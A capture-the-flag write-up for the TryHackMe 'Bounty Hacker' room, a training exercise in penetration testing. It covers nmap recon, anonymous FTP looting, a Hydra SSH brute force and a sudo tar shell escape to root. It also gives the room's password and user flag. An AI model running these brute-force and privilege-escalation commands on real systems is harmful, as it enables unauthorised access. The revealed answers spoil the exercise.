TryHackMe – Bounty Hacker Writeup

# Room Overview

Bounty Hacker is a beginner-friendly CTF on TryHackMe. It walks through core penetration testing skills: reconnaissance, enumeration, brute-forcing, SSH access, and privilege escalation.

# Step 1: Reconnaissance with Nmap

We start with an nmap scan to identify open ports and services.

nmap -sC -sV -oN bounty\_scan.txt 10.10.xx.xx

Flags explained:  
- -sC → run default scripts  
- -sV → detect service versions  
- -oN → save output to a file

Findings:  
- Port 21 (FTP) → Anonymous login allowed  
- Port 22 (SSH) → OpenSSH 8.2p1  
- Port 80 (HTTP) → Apache 2.4.41

# Step 2: Enumerating FTP

Connected via anonymous FTP:

ftp 10.10.xx.xx

Listing files:  
locks.txt  
task.txt

Downloaded them with:

get locks.txt  
get task.txt

# Step 3: Loot Analysis

- task.txt → revealed a username: lin  
- locks.txt → appeared to be a password wordlist

This looks like creds for SSH.

# Step 4: Brute Force with Hydra

We use Hydra to brute force SSH login for lin:

hydra -l lin -P locks.txt ssh://10.10.xx.xx -t 4

Result:  
login: lin  
password: RedDr4gonSynd1cat3

# Step 5: Initial Access

Logged in with the credentials:

ssh lin@10.10.xx.xx

Found the first flag:

cat ~/Desktop/user.txt  
THM{CR1M3\_SyNd1C4T3}

# Step 6: Privilege Escalation

Checking sudo rights:

sudo -l

Output:  
(root) /bin/tar

Found a known GTFOBins privilege escalation for tar:

sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

This spawns a root shell.  
  
Reading the final flag:

cat /root/root.txt  
THM{<root\_flag\_here>}

# Lessons Learned

- Nmap recon is crucial to mapping out attack surface.  
- FTP misconfigurations often expose sensitive files.  
- Always analyze loot — user hints + password lists are common.  
- Hydra is a powerful tool for brute force attacks.  
- Privilege escalation often relies on misconfigured sudo permissions.  
- GTFOBins is an essential resource for escalating privileges.

# Summary

We:  
1. Scanned the target with Nmap  
2. Enumerated FTP and found useful files  
3. Brute-forced SSH login for user lin  
4. Grabbed user.txt  
5. Abused sudo tar to escalate privileges  
6. Grabbed root.txt  
  
Another box rooted! 🎉